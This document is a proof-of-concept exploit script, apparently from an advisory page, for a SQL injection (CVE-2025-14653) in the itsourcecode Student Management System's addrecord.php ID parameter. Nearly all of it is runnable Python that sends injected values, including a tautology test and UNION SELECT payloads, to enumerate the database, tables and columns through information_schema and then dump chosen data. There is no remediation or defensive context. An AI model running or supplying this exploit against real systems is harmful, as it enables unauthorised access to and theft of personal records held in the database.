CVE-2025-14653 itsourcecode学生管理系统SQL注入漏洞

import requests import sys # CVE-2025-14653 SQL Injection PoC # Target: itsourcecode Student Management System 1.0 # File: /addrecord.php # Parameter: ID def exploit_sqli(url, payload): target_url = f"{url}/addrecord.php" params = {'ID': payload} try: response = requests.get(target_url, params=params, timeout=10) return response.text except requests.exceptions.RequestException as e: return f"Error: {e}" def test_basic_sqli(url): # Basic injection test - causes SQL error payload = "1' OR '1'='1" print(f"[*] Testing basic SQL injection...") result = exploit_sqli(url, payload) if "error" in result.lower() or "syntax" in result.lower(): print("[+] SQL injection confirmed!") return result def extract_database(url): # UNION-based injection to extract database name payload = "1' UNION SELECT NULL,database(),NULL,NULL,NULL-- -" print(f"[*] Extracting database name...") return exploit_sqli(url, payload) def extract_tables(url, db_name): # Extract table names payload = f"1' UNION SELECT NULL,table_name,NULL,NULL,NULL FROM information_schema.tables WHERE table_schema='{db_name}'-- -" print(f"[*] Extracting tables from {db_name}...") return exploit_sqli(url, payload) def extract_columns(url, table_name): # Extract column names payload = f"1' UNION SELECT NULL,column_name,NULL,NULL,NULL FROM information_schema.columns WHERE table_name='{table_name}'-- -" print(f"[*] Extracting columns from {table_name}...") return exploit_sqli(url, payload) def extract_data(url, table_name, columns): # Extract sensitive data cols = ','.join(columns) payload = f"1' UNION SELECT NULL,{cols},NULL,NULL,NULL FROM {table_name}-- -" print(f"[*] Extracting data from {table_name}...") return exploit_sqli(url, payload) if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com/student-management-system") sys.exit(1) target_url = sys.argv[1].rstrip('/') print(f"[*] Target: {target_url}") print(f"[*] CVE-2025-14653 SQL Injection PoC") # Test basic injection test_basic_sqli(target_url) # Extract database db_result = extract_database(target_url) print(f"[+] Database enumeration result: {db_result[:500]}")